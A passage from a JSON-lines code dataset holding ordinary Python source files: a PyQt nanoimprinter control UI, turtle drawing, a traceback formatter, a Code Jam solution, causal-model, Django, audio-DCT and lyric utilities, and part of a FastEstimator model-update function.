True\r\n\t\t\tself.locks.target_phase = self.currentPhase + 1\r\n\t\t\tself.displayMessage(\"Skipping phase {}\".format(self.currentPhase))\r\n\t\t\treturn\r\n\t\telse:\r\n\t\t\treturn\r\n\r\n\tdef runEnd(self):\r\n\t\tself.displayMessage('Closing...')\r\n\t\tself.process.close()\r\n\r\n\t\tself.modeNow = 'Inactive'\r\n\t\tself.line_phase.setText(self.modeNow)\r\n\t\tself.push_run.setEnabled(True)\r\n\t\tself.push_adjust.setEnabled(True)\r\n\t\tself.push_prev.setEnabled(False)\r\n\t\tself.push_goto.setEnabled(False)\r\n\t\tself.push_next.setEnabled(False)\r\n\t\tself.push_stop.setEnabled(False)\r\n\t\tself.push_changeT.setEnabled(False)\r\n\t\tself.push_changeP.setEnabled(False)\r\n\r\n\t\tself.displayMessage('Run Stopped. Now on Standby')\r\n\t\tself.displayMessage('=====')\r\n\r\n\t\treturn\r\n\r\n\t# in-UI Run functions\r\n\t# ==========================================================\r\n\r\n\tdef runChangeT(self):\r\n\t\tself.displayMessage('RunChangeT')\r\n\t\ta = self.generateInputBox(\"Title\",\"Input Pressure in bars\",0,0,35,1)\r\n\t\tif a != None:\r\n\t\t\tself.seq[self.currentPhase][3] = a\r\n\t\t\tself.settingsArray[self.currentPhase][4].setText(str(a))\r\n\t\t\tself.locks.target_phase = self.currentPhase\r\n\t\t\tself.locks.new_phase = True\r\n\r\n\tdef runChangeP(self):\r\n\t\tself.displayMessage('RunChangeP')\r\n\t\ta = self.generateInputBox(\"Title\",\"Input Pressure in bars\",30,0,200,1)\r\n\t\tif a != None:\r\n\t\t\tself.seq[self.currentPhase][4] = a\r\n\t\t\tself.settingsArray[self.currentPhase][6].setText(str(a))\r\n\t\t\tself.locks.target_phase = self.currentPhase\r\n\t\t\tself.locks.new_phase = True\r\n\r\n\tdef runNext(self):\r\n\t\tthisTab = self.currentPhase\r\n\t\tself.displayMessage(\"{} {}\".format(\"Requesting Move to Next Phase :\",str(thisTab+2)))\r\n\t\ta = self.generateMessageBox(\"Confirm Next\",\"Continue to Next Phase?\")\r\n\t\tif a == QMessageBox.Ok:\r\n\t\t\tif thisTab == self.currentPhase:\r\n\t\t\t\tself.locks.target_phase = self.currentPhase + 1\r\n\t\t\t\tself.locks.new_phase = True\r\n\t\t\telse:\r\n\t\t\t\tself.displayMessage(\"Error. Moving to Next Tab Aborted\")\r\n\r\n\tdef runPrev(self):\r\n\t\tthisTab = self.currentPhase\r\n\t\tself.displayMessage(\"{} {}\".format(\"Requesting Move to Previous Phase :\",str(thisTab)))\r\n\t\ta = self.generateMessageBox(\"Confirm Return\",\"Return to Previous Phase?\")\r\n\t\tif a == QMessageBox.Ok:\r\n\t\t\tif thisTab == self.currentPhase:\r\n\t\t\t\tself.locks.target_phase = self.currentPhase - 1\r\n\t\t\t\tself.locks.new_phase = True\r\n\t\t\telse:\r\n\t\t\t\tself.displayMessage(\"Error. Moving to Previous Tab Aborted\")\r\n\r\n\tdef runGoto(self):\r\n\t\tthisTab = self.currentPhase\r\n\t\tself.displayMessage(\"Requesting Goto Phase\")\r\n\t\ta = self.generateInputBox(\"Select Tab\",\"Return to Previous Phase?\",thisTab+1,0,self.number_of_phase,0)\r\n\t\tif a != None:\r\n\t\t\tif a == thisTab+1:\r\n\t\t\t\tself.displayMessage(\"Please enter a different tab\")\r\n\t\t\telif thisTab == self.currentPhase:\r\n\t\t\t\tself.locks.target_phase = a - 1\r\n\t\t\t\tself.locks.new_phase = True\r\n\t\t\telse:\r\n\t\t\t\tself.displayMessage(\"Error. Moving to Tab Aborted\")\r\n\r\n\tdef runSTOP(self):\r\n\t\tif self.modeNow == 'Edit':\r\n\t\t\treturn #Error\r\n\t\telif self.modeNow == 'Inactive':\r\n\t\t\treturn #Error\r\n\t\telif self.modeNow == 'Run':\r\n\t\t\tself.shownow()\r\n\t\t\tself.displayMessage('Signalling End of Run...')\r\n\t\t\t# Flags an exit, waiting for runThread to stop\r\n\t\t\tself.locks.can_Process = False\r\n\t\telse:\r\n\t\t\treturn #Error\r\n\r\n\r\n\t# The functions below are for miscellaneous purposes\r\n\t# ==========================================================\r\n\r\n\tdef generateMessageBox(self, title = \"title\", msg = \"message\"):\r\n\t\t#Function thatt generates a dialog box\r\n\t\tmsgBox = QMessageBox()\r\n\t\tmsgBox.setIcon(QMessageBox.Information)\r\n\t\tmsgBox.setWindowTitle(title)\r\n\t\tmsgBox.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\r\n\t\tmsgBox.setText(msg)\r\n\t\tret = msgBox.exec_()\r\n\t\treturn ret\r\n\r\n\tdef generateInputBox(self, title = \"title\", msg = \"message\",defau = 0,minim = 0,maxim = 10,steps = 1):\r\n\t\t#Function thatt generates a dialog box\r\n\t\ti, okPressed = QInputDialog.getDouble(self,title,msg,defau,minim,maxim,steps)\r\n\t\tif okPressed:\r\n\t\t\treturn i\r\n\r\n\tdef displayMessage(self, msg = \"An empty message\", purpose = 'G'):\r\n\t\tcurr_time = time.time() - self.start_time\r\n\t\t#By default/None sent to General. Purpose Flags available are 'G', 'P', 'M', 'X'\r\n\t\t#G = General, P = Process, M = Monitor, X = Error\r\n\t\tif purpose == 'G':\r\n\t\t\tself.text_log.append(msg)\r\n\t\t\tprint(msg)\r\n\t\t#Sends this to three logs managed by dataLogClass\r\n\t\tself.log.saveMsg(msg,curr_time,purpose)\r\n\t\tQCoreApplication.processEvents()\r\n\r\n\tdef shownow(self):\r\n\t\treturn self.displayMessage(time.strftime(\"Current Time is %Y-%m-%d %H:%M:%S\", time.gmtime()))\r\n\r\n\tdef templambda1(self,row,col):\r\n\t\t#Use of lambda to create an instance of function, SO connect can now call functions WITH inputs\r\n\t\t#I think there is a better way to do it with *args or decorator or something, but this works too\r\n\t\treturn lambda: self.buttonPressed(row,col)\r\n\r\n\tdef templambda2(self,row,col):\r\n\t\t#Similar to above\r\n\t\treturn lambda: self.settingsChanged(row,col)\r\n\r\n\t# Automatically loaded functions \r\n\t# ==========================================================\r\n\r\n\tdef closeEvent(self, event):\r\n\t\t# Generate 'question' dialog on clicking 'X' button in title bar.\r\n\t\t# Reimplement the closeEvent() event handler to include a 'Question'\r\n\t\t# dialog with options on how to proceed - Save, Close, Cancel buttons\r\n\r\n\t\treply = QMessageBox.question(\r\n\t\t\tself, \"Message\",\r\n\t\t\t\"Are you sure you want to quit? Any unsaved work will be lost.\",\r\n\t\t\tQMessageBox.Save | QMessageBox.Close | QMessageBox.Cancel,\r\n\t\t\tQMessageBox.Save)\r\n\r\n\t\tif reply == QMessageBox.Close:\r\n\t\t\tself.locks.is_exiting = True\r\n\t\t\tself.locks.is_Emergency = True\r\n\t\t\tevent.accept()\r\n\t\telse:\r\n\t\t\tevent.ignore()\r\n\r\n\tdef keyPressEvent(self, event):\r\n\t\t# Close application from escape key.\r\n\t\t# results in QMessageBox dialog from closeEvent, good but how/why?\r\n\t\tif event.key() == Qt.Key_Escape:\r\n\t\t\tprint('exiting via keyPressEvent')\r\n\t\t\tself.close()\r\n\t\t\r\n\r\nif __name__ == '__main__':\r\n\r\n\tapp = QApplication(sys.argv)\r\n\twindow = NanoUI()\r\n\tsys.exit(app.exec_())\r\n","sub_path":"Nanoimprinter Code July 19, 2018/nanoimprinter type 2 14-7/testUI2.py","file_name":"testUI2.py","file_ext":"py","file_size_in_byte":40379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"95196256","text":"import turtle as t\r\nimport random as r\r\n\r\nt.shape(\"turtle\")\r\nt.speed(0)\r\n\r\nfor x in range(5):\r\n a=r.randint(1,360)\r\n t.setheading(a)\r\n t.forward(10)\r\n\r\n\r\n\r\n\r\n \r\n\r\nt.color(\"hot pink\")\r\nt.up()\r\nt.goto(0,0)\r\nt.down()\r\nfor x in range(5):\r\n a=r.randint(1,360)\r\n t.setheading(a)\r\n b=r.randint(1,20)\r\n t.forward(b)\r\n\r\nt.color(\"hot pink\")\r\nt.up()\r\nt.goto(0,0)\r\nt.down()\r\nfor x in range(500):\r\n b=r.randint(1,20)\r\n t.color(\"hot pink\")\r\n t.up()\r\n t.goto(r.randint(-300,300),r.randint(-200,200))\r\n t.down()\r\n for y in range(5):\r\n t.forward(100)\r\n t.left(144)\r\n \r\n\r\n","sub_path":"20-01-16.py","file_name":"20-01-16.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"112257974","text":"import inspect\nimport os\nimport pprint\nimport struct\nimport warnings\n\ntry:\n basestring\nexcept NameError:\n # python 3\n basestring = str\n\ntry:\n import fcntl\nexcept ImportError:\n fcntl = None\nelse:\n import termios\n\ntry:\n import pygments\nexcept ImportError:\n pygments = None\nelse:\n from pygments.formatters.terminal import TerminalFormatter\n from pygments.styles import default\n from .lexer import PythonXTracebackLexer\n\nfrom .xtracebackframe import XTracebackFrame\nfrom .xtracebackoptions import XTracebackOptions\n\n\nclass XTraceback(object):\n \"\"\"\n An extended traceback formatter\n\n \"\"\"\n\n #: The default width of one line\n DEFAULT_WIDTH = 80\n\n #: A dictionary keyed by type with values as the wrapper for string\n #: representation of the type\n REFORMAT = {\n dict: (\"{\", \"}\"),\n list: (\"[\", \"]\"),\n tuple: (\"(\", \")\"),\n set: (\"set([\", \"])\"),\n frozenset: (\"frozenset([\", \"])\"),\n }\n\n #: Filesystem path to the Python standard library\n _os_source = inspect.getsourcefile(os)\n _stdlib_path = None if _os_source is None \\\n else os.path.dirname(os.path.realpath(_os_source))\n\n def __init__(self, etype, value, tb, **options):\n \"\"\"\n :param etype: The exception type\n :type etype: type\n :param value: The exception instance\n :type value: Exception\n :param tb: The traceback instance\n :type tb: traceback\n :param options: Options for this instance\n :type options: dict\n \"\"\"\n\n #: The exception type\n self.etype = etype\n\n #: The exception instance\n self.value = value\n\n #: Options for xtraceback\n self.options = XTracebackOptions(**options)\n\n # placeholders\n self._lexer = None\n self._formatter = None\n\n # keep track of objects we've seen\n self.seen = {}\n\n # get the traceback frames and work out number padding\n self.tb_frames = []\n self.number_padding = 0\n i = 0\n while tb is not None and (self.options.limit is None\n or i < self.options.limit):\n if i >= self.options.offset:\n try:\n frame_info = inspect.getframeinfo(tb, self.options.context)\n except KeyError: # pragma: no cover - defensive\n # /inspect.py line 506 - there may be no __main__\n pass\n frame = XTracebackFrame(self, tb.tb_frame, frame_info, i)\n if not frame.exclude:\n self.tb_frames.append(frame)\n self.number_padding = max(len(str(frame_info[1])),\n self.number_padding)\n tb = tb.tb_next\n i += 1\n\n # get rid of tb once we no longer need it\n tb = None\n\n @property\n def tty_stream(self):\n \"\"\"\n Whether or not our stream is a tty\n \"\"\"\n return hasattr(self.options.stream, \"isatty\") \\\n and self.options.stream.isatty()\n\n @property\n def color(self):\n \"\"\"\n Whether or not color should be output\n \"\"\"\n return self.tty_stream if self.options.color is None \\\n else self.options.color\n\n @property\n def print_width(self):\n \"\"\"\n Width of one screen for line width calculations\n\n If not explicitly set in self.options the width will be the terminal\n width if on Unix.\n \"\"\"\n print_width = self.options.print_width\n if print_width is None \\\n and fcntl is not None \\\n and self.tty_stream:\n print_width = struct.unpack(\n 'HHHH',\n fcntl.ioctl(self.options.stream,\n termios.TIOCGWINSZ,\n struct.pack('HHHH', 0, 0, 0, 0)),\n )[1]\n else:\n print_width = self.DEFAULT_WIDTH\n return print_width\n\n def __str__(self):\n return self._str_lines(self._format_exception())\n\n def _format_filename(self, filename):\n if self.options.shorten_filenames:\n filename = os.path.realpath(filename)\n if self._stdlib_path is not None \\\n and filename.startswith(self._stdlib_path):\n filename = filename.replace(self._stdlib_path, \"\")\n else:\n # os.path.relpath was introduced in python 2.5\n relative = os.path.relpath(filename)\n if len(relative) < len(filename):\n filename = relative\n # using str on filename to make Jython (default string is unicode)\n # consistent with CPython\n return str(filename)\n\n def _format_variable(self, key, value, indent=4, prefix=\"\", separator=\" = \"):\n base_size = indent + len(prefix) + len(key) + len(separator)\n if isinstance(value, basestring) and len(value) > self.print_width * 2:\n # truncate long strings - minus 2 for the quotes and 3 for\n # the ellipsis\n value = value[:self.print_width - base_size - 2 - 3] + \"...\"\n vtype = type(value)\n try:\n pvalue = pprint.pformat(value, indent=0)\n except:\n pvalue = \"\" % vtype.__name__\n if base_size + len(pvalue) > self.print_width:\n reformat = self.REFORMAT.get(vtype)\n if reformat is not None:\n start, end = reformat\n lines = map(str.strip,\n pvalue.lstrip(start).rstrip(end).splitlines())\n sub_indent = \"\\n\" + \" \" * (indent + 4)\n pvalue = \"\".join((start, sub_indent, sub_indent.join(lines),\n \",\", sub_indent, end))\n return \"\".join((\" \" * indent, prefix, key, separator, pvalue))\n\n # { Line formatting\n\n def _highlight(self, string):\n if pygments is None:\n warnings.warn(\"highlighting not available - pygments is required\")\n else:\n if self._lexer is None:\n self._lexer = PythonXTracebackLexer()\n if self._formatter is None:\n # passing style=default here is the same as passing no\n # arguments - the reason for doing it is that if we don't\n # the style gets imported at runtime which under some restricted\n # environments (appengine) causes a problem - all of the imports\n # must be done before appengine installs its import hook\n self._formatter = TerminalFormatter(style=default)\n try:\n return pygments.highlight(string, self._lexer, self._formatter)\n except KeyboardInterrupt:\n # let the user abort highlighting if problematic\n pass\n return string\n\n def _str_lines(self, lines):\n exc_str = \"\".join(lines)\n if self.color:\n exc_str = self._highlight(exc_str)\n return exc_str\n\n def _format_lines(self, lines):\n return map(self._highlight, lines) if self.color else lines\n\n def _print_lines(self, lines):\n if self.options.stream is None:\n raise RuntimeError(\"Cannot print - %r has None stream\" % self)\n self.options.stream.write(self._str_lines(lines))\n\n # { Traceback format - these return lines that should be joined with \"\"\n\n def _format_tb(self):\n return [\"%s\\n\" % frame for frame in self.tb_frames]\n\n def _format_exception_only(self):\n\n lines = []\n\n try:\n value_str = str(self.value)\n except Exception:\n try:\n value_str = unicode(self.value).encode(\"ascii\",\n \"backslashreplace\")\n except Exception:\n value_str = \"\" \\\n % type(self.value).__name__\n\n if isinstance(self.value, SyntaxError):\n # taken from traceback.format_exception_only\n try:\n msg, (filename, lineno, offset, badline) = self.value.args\n except:\n pass\n else:\n filename = filename and self._format_filename(filename) \\\n or \"\"\n filename = filename or \"\"\n lines.append(' File \"%s\", line %d\\n' % (filename, lineno))\n if badline is not None:\n lines.append(' %s\\n' % badline.strip())\n if offset is not None:\n caretspace = badline.rstrip('\\n')[:offset].lstrip()\n # non-space whitespace (likes tabs) must be kept for\n # alignment\n caretspace = ((c.isspace() and c or ' ')\n for c in caretspace)\n # only three spaces to account for offset1 == pos 0\n lines.append(' %s^\\n' % ''.join(caretspace))\n value_str = msg\n\n exc_line = isinstance(self.etype, type) and self.etype.__name__ \\\n or str(self.etype)\n if self.value is not None and value_str:\n exc_line += \": %s\" % value_str\n lines.append(exc_line + \"\\n\")\n\n return lines\n\n def _format_exception(self):\n lines = list(self._format_tb())\n if lines:\n lines.insert(0, \"Traceback (most recent call last):\\n\")\n lines.extend(self._format_exception_only())\n return lines\n\n # { Interface - this is compatible with the stdlib's traceback module\n\n def format_tb(self):\n return self._format_lines(self._format_tb())\n\n def format_exception_only(self):\n return self._format_lines(self._format_exception_only())\n\n def format_exception(self):\n return self._format_lines(self._format_exception())\n\n def print_tb(self):\n self._print_lines(self._format_tb())\n\n def print_exception(self):\n self._print_lines(self._format_exception())\n\n # }\n","sub_path":"xtraceback/xtraceback.py","file_name":"xtraceback.py","file_ext":"py","file_size_in_byte":10137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"260350870","text":"# fname = \"first.txt\"\nfname = \"A-large.in\"\nofname = \"largeout.txt\"\n\nnums = [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\ndef main():\n\tcaseCount = 1\n\twith open(fname, 'r') as f:\n\t\tfirst_line = f.readline().rstrip('\\n')\n\t\t# print(first_line)\n\t\tfor d in range(int(first_line)):\n\t\t\tr = f.readline().rstrip('\\n')\n\t\t\t# print (r)\n\t\t\tt = str(\"Case #\"+str(caseCount)+\": \"+str(getNums(int(r))))\n\t\t\tprint(t)\n\t\t\taddToOutF(t)\n\t\t\tcaseCount = caseCount + 1\n\t\t\treset()\n\n\ndef reset():\n\tglobal nums\n\tnums = [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\n\ndef getNums(z):\n\t# print(z)\n\tnCount = 2\n\tif z == 0:\n\t\treturn \"INSOMNIA\"\n\telse:\n\t\tt = z\n\t\tremoveOld(splitNumber(z))\n\t\twhile not checkCorrect():\n\t\t\tt = nCount*z\n\t\t\tnCount = nCount+1\n\t\t\tremoveOld(splitNumber(t))\n\treturn t\n\n\ndef removeOld(numbrs):\n\tfor x in numbrs:\n\t\tif x in nums:\n\t\t\tnums.remove(x)\n\ndef splitNumber(num):\n\treturn [a for a in str(num)]\n\ndef checkCorrect():\n\tif nums == []:\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef addToOutF(txtbby):\n\toutfile = open(ofname, 'a')\n\toutfile.write(txtbby)\n\toutfile.write(\"\\n\")\n\nmain()","sub_path":"codes/CodeJamCrawler/16_0_1/jspann/CountingSheep.py","file_name":"CountingSheep.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"164828440","text":"\"\"\"\nPairwise causal models base class\nAuthor: Diviyan Kalainathan\nDate : 7/06/2017\n\"\"\"\nimport networkx as nx\nfrom sklearn.preprocessing import scale\nfrom pandas import DataFrame, Series\nfrom ...utils.Settings import SETTINGS\n\n\nclass PairwiseModel(object):\n \"\"\"Base class for all pairwise causal inference models\n\n Usage for undirected/directed graphs and CEPC df format.\n \"\"\"\n\n def __init__(self):\n \"\"\"Init.\"\"\"\n super(PairwiseModel, self).__init__()\n\n def predict(self, x, *args, **kwargs):\n \"\"\"Generic predict method.\"\"\"\n if len(args) > 0:\n if type(args[0]) == nx.Graph or type(args[0]) == nx.DiGraph:\n return self.orient_graph(x, *args, **kwargs)\n else:\n return self.predict_proba(x, *args, **kwargs)\n elif type(x) == DataFrame:\n return self.predict_dataset(x, *args, **kwargs)\n elif type(x) == Series:\n return self.predict_proba(x.iloc[0], x.iloc[1], *args, **kwargs)\n\n def predict_proba(self, a, b, idx=0, **kwargs):\n \"\"\"Prediction method for pairwise causal inference.\n\n predict_proba is meant to be overridden in all subclasses\n\n :param a: Variable 1\n :param b: Variable 2\n :return: probability (Value : 1 if a->b and -1 if b->a)\n :rtype: float\n \"\"\"\n raise NotImplementedError\n\n def predict_dataset(self, x, **kwargs):\n \"\"\"Causal prediction of a pairwise dataset (x,y).\n\n :param x: Pairwise dataset\n :param printout: print regularly predictions\n :type x: cepc_df format\n :return: predictions probabilities\n :rtype: list\n \"\"\"\n printout = kwargs.get(\"printout\", None)\n pred = []\n res = []\n x.columns = [\"A\", \"B\"]\n for idx, row in x.iterrows():\n a = scale(row['A'].reshape((len(row['A']), 1)))\n print(a)\n b = scale(row['B'].reshape((len(row['B']), 1)))\n\n pred.append(self.predict_proba(a, b, idx))\n\n if printout is not None:\n res.append([row['SampleID'], pred[-1]])\n DataFrame(res, columns=['SampleID', 'Predictions']).to_csv(\n printout, index=False)\n return pred\n\n def orient_graph(self, df_data, graph, printout=None, nb_runs=6, **kwargs):\n \"\"\"Orient an undirected graph using the pairwise method defined by the subclass.\n\n Requirement : Name of the nodes in the graph correspond to name of the variables in df_data\n :param df_data: dataset\n :param umg: UndirectedGraph\n :param printout: print regularly predictions\n :return: Directed graph w/ weights\n :rtype: DirectedGraph\n \"\"\"\n if type(graph) == nx.DiGraph:\n edges = [a for a in list(graph.edges()) if (a[1], a[0]) in list(graph.edges())]\n oriented_edges = [a for a in list(graph.edges()) if (a[1], a[0]) not in list(graph.edges())]\n for a in edges:\n if (a[1], a[0]) in list(graph.edges()):\n edges.remove(a)\n output = nx.DiGraph()\n for i in oriented_edges:\n output.add_edge(*i)\n\n elif type(graph) == nx.Graph:\n edges = list(graph.edges())\n output = nx.DiGraph()\n\n else:\n raise TypeError(\"Data type not understood.\")\n\n res = []\n\n for idx, (a, b) in enumerate(edges):\n weight = self.predict_proba(\n df_data[a].as_matrix().reshape((-1, 1)), df_data[b].as_matrix().reshape((-1, 1)), idx=idx,\n nb_runs=nb_runs, **kwargs)\n if weight > 0: # a causes b\n output.add_edge(a, b, weight=weight)\n else:\n output.add_edge(b, a, weight=abs(weight))\n if printout is not None:\n res.append([str(a) + '-' + str(b), weight])\n DataFrame(res, columns=['SampleID', 'Predictions']).to_csv(\n printout, index=False)\n\n for node in list(df_data.columns.values):\n if node not in output.nodes():\n output.add_node(node)\n\n return output\n","sub_path":"cdt/causality/pairwise/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"611294492","text":"from core.TaxonTypedef import TaxonTypedef\nfrom TS.TsTaxon import TsTaxon\n\nclass TsTypedef(TaxonTypedef, TsTaxon):\n\tdef __init__(self, name = None):\n\t\tsuper().__init__(name = name)\n\t\tself._hidden = False\n\t\tself._externName = ''\n\n\tdef onUpdate(self):\n\t\tres = super().onUpdate()\n\t\tif self.owner.isClass() and not self._hidden:\n\t\t\tself._hidden = True\n\t\t\tif self.getReplaceMode() == 'extern':\n\t\t\t\tself._externName = self.altName or self.owner.getName(self)+self.name\n\t\t\t\tsuperOwner = self.owner.owner\n\t\t\t\ttaxTypedef = self.creator('Typedef')(name = self._externName)\n\t\t\t\ttaxTypedef.attrs = self.attrs.copy()\n\t\t\t\ttaxTypedef.addItem(self.getTypeTaxon().cloneRoot(self.core))\n\t\t\t\tsuperOwner.addItem(taxTypedef, nextItem = self.owner)\n\t\t\t\tres = True\n\t\treturn res\n\n\tdef getReplaceMode(self):\n\t\tfor mode in ['replace', 'extern']:\n\t\t\tif mode in self.attrs:\n\t\t\t\treturn mode\n\t\treturn self.getTypeTaxon().defaultReplaceMode()\n\n\tdef exportUsage(self):\n\t\tif self._hidden:\n\t\t\tif self.getReplaceMode() == 'replace':\n\t\t\t\treturn self.getTypeTaxon().exportString()\n\t\t\tif self.getReplaceMode() == 'extern':\n\t\t\t\treturn self._externName\n\t\treturn None\n\n\tdef export(self, outContext):\n\t\tif self._hidden:\n\t\t\treturn\n\t\tself.exportComment(outContext)\n\t\ts = 'type '+self.getName(self)+' = ' + self.getTypeTaxon().exportString() + ';'\n\t\taccess = self.getAccessLevel()\n\t\tif self.owner.type == 'Module':\n\t\t\taccess = 'export' if access == 'public' else ''\n\t\tif access:\n\t\t\ts = access + ' ' + s\n\t\toutContext.writeln(s)","sub_path":"src/TS/TsTypedef.py","file_name":"TsTypedef.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"227911913","text":"from django.db.models import Sum\nfrom django.contrib.postgres.search import SearchQuery, SearchVector\n\nfrom rest_framework.decorators import api_view, list_route\nfrom rest_framework.exceptions import ParseError\nfrom rest_framework.response import Response\n\nfrom ..views import ModelViewSet\nfrom .models import Location\nfrom .serializers import LocationSerializer, PrivilegedLocationSerializer\n\n\nclass LocationViewSet(ModelViewSet):\n\n queryset = Location.objects.all()\n\n def get_serializer_class(self):\n user = self.request.user\n if user and (user.is_staff or user.is_superuser):\n return PrivilegedLocationSerializer\n return LocationSerializer\n\n @list_route()\n def search(self, request):\n term = request.query_params.get('q', '').strip()\n if not term:\n raise ParseError('Missing search term (q query parameter)')\n search_query = SearchQuery(term)\n q = Location.objects.annotate(search=SearchVector('name', 'address_obscured'))\n q = q.filter(search=search_query)\n serializer = self.get_serializer(q, many=True)\n return Response(serializer.data)\n\n\n@api_view()\ndef square_footage(request, neighborhood=None):\n \"\"\"Get location square footage.\n\n The total square footage of all locations is always included. If\n a neighborhood is specified, the neighborhood total will be included\n too. The structure of JSON responses is::\n\n {\n \"total\": N,\n \"neighborhood\": \"{neighborhood}\"|null,\n \"neighborhood_total\": N|null\n }\n\n \"\"\"\n q = Location.objects.all()\n total = q.aggregate(total=Sum('square_footage'))['total']\n\n if neighborhood:\n q = q.filter(neighborhood__slug=neighborhood)\n neighborhood_total = q.aggregate(total=Sum('square_footage'))['total']\n else:\n neighborhood_total = None\n\n return Response({\n 'total': total,\n 'neighborhood': neighborhood,\n 'neighborhood_total': neighborhood_total,\n })\n","sub_path":"ecoroofs/locations/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"119608779","text":"#!/usr/bin/python\n\nimport ewave as wav\nimport numpy as np\nimport scipy.fftpack as fftp \nfrom scitools.std import *\n\nrate = 10000 # sampling rate in Hz\nsamples_per_bin = 100\n\ndef load_wave(fname): \n tutor_wav = wav.wavfile(fname);\n aud_raw = np.array(tutor_wav.read());\n\n #figure(4);\n #clf\n #plot(aud_raw[0:samples_per_bin])\n #legend(\"Audio Input -- Audio Samples -- First Bin\")\n\n# aud_raw -= aud_raw.mean();\n # aud_raw /= aud_raw.std();\n aud_sample = np.reshape(aud_raw, (-1, samples_per_bin)) # 100 samples go into 1 bin\n aud_dct = fftp.dct(aud_sample.real.astype(float), type=2, norm='ortho')#.T # matrix right way round?\n\n # Normalise:\n aud_dct -= aud_dct.mean(); \n aud_dct /= aud_dct.std();\n\n #figure(5);\n #clf;\n #plot(aud_dct[0])\n #legend(\"FFT of the first bin\");\n\n #figure(6);\n #clf;\n #plot(aud_dct[:,0])\n #legend(\"Amplitude of first frequency of FFT across all bins\");\n \n return aud_dct.T; # we need matrix in format that we have the 100 frequency as rows.\n\ndef save_wave(fname, song):\n\n output = fftp.idct(x=song.T, type=2, norm='ortho');\n #output = fftp.idct(x=song, type=2, norm='ortho');\n output2 = (output).ravel();\n\n maximum = (abs(output2)).max()\n\n# output2 *= (30000) / maximum; # scale to about 80% of 16 bit range\n\n #figure(7)\n #clf\n #plot(output2[0:100]);\n #legend(\"Audio out -- first 100 sample points\")\n out_wav = wav.wavfile(fname, mode=\"w\", sampling_rate = rate, dtype = u'f', nchannels = 1);\n out_wav.write(data=output2, scale=True); # do I need to reshape, or is the automatic flattening the right thing? \n #out_wav.write(data=output2); # do I need to reshape, or is the automatic flattening the right thing?\n out_wav.flush()\n\n return output2\n\n#transf = load_wave(\"sinus_3s.wav\")\n#signal = save_wave(\"output.wav\", transf)\n\n# use this shell command to filter the 100 Hz component out:\n# sox output.wav filtered.wav highpass 200 [norm?]\n\n# use this shell command to record new files:\n# arecord -r 10000 -d 1 -f S16_LE hallo.wav \n\n\n\n","sub_path":"imitation_learning/audio.py","file_name":"audio.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"251448685","text":"class Verse:\n\tdef __init__(self, number: str, verse: str):\n\t\tself.number = number\n\t\tself.verse = verse\n\ndays_of_christmas = {\n\t1: Verse('first', 'a Partridge in a Pear Tree'),\n\t2: Verse('second', 'two Turtle Doves'),\n\t3: Verse('third', 'three French Hens'),\n\t4: Verse('fourth', 'four Calling Birds'),\n\t5: Verse('fifth', 'five Gold Rings'),\n\t6: Verse('sixth', 'six Geese-a-Laying'),\n\t7: Verse('seventh', 'seven Swans-a-Swimming'),\n\t8: Verse('eighth', 'eight Maids-a-Milking'),\n\t9: Verse('ninth', 'nine Ladies Dancing'),\n\t10: Verse('tenth', 'ten Lords-a-Leaping'),\n\t11: Verse('eleventh', 'eleven Pipers Piping'),\n\t12: Verse('twelfth', 'twelve Drummers Drumming')\n}\n\nverse_format = 'On the {} day of Christmas my true love gave to me: {}.'\n\n\ndef recite(start_verse: int, end_verse: int) -> list:\n\treturn [build_verse(verse_number) for verse_number in range(start_verse, end_verse + 1)]\n\n\ndef build_verse(verse_number: int) -> str:\n\tif verse_number == 1:\n\t\treturn verse_format.format(days_of_christmas[verse_number].number, days_of_christmas[verse_number].verse)\n\n\tline = ', '.join([days_of_christmas[num].verse if num != 1 else 'and {}'.format(days_of_christmas[num].verse) for num in range(verse_number, 0, -1)])\n\n\treturn verse_format.format(days_of_christmas[verse_number].number, line)\n","sub_path":"python/twelve-days/twelve_days.py","file_name":"twelve_days.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"108949586","text":"# Copyright 2019 The FastEstimator Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\nfrom typing import Optional, Union\n\nimport tensorflow as tf\nimport torch\nfrom tensorflow.keras.mixed_precision import experimental as mixed_precision\n\nfrom fastestimator.backend.get_gradient import get_gradient\nfrom fastestimator.backend.reduce_mean import reduce_mean\n\n\ndef update_model(model: Union[tf.keras.Model, torch.nn.Module],\n loss: Union[tf.Tensor, torch.Tensor],\n tape: Optional[tf.GradientTape] = None,\n retain_graph: bool = True):\n \"\"\"Update `model` weights based on a given `loss`.\n\n This method can be used with TensorFlow models:\n ```python\n m = fe.build(fe.architecture.tensorflow.LeNet, optimizer_fn=\"adam\")\n x = tf.ones((3,28,28,1)) # 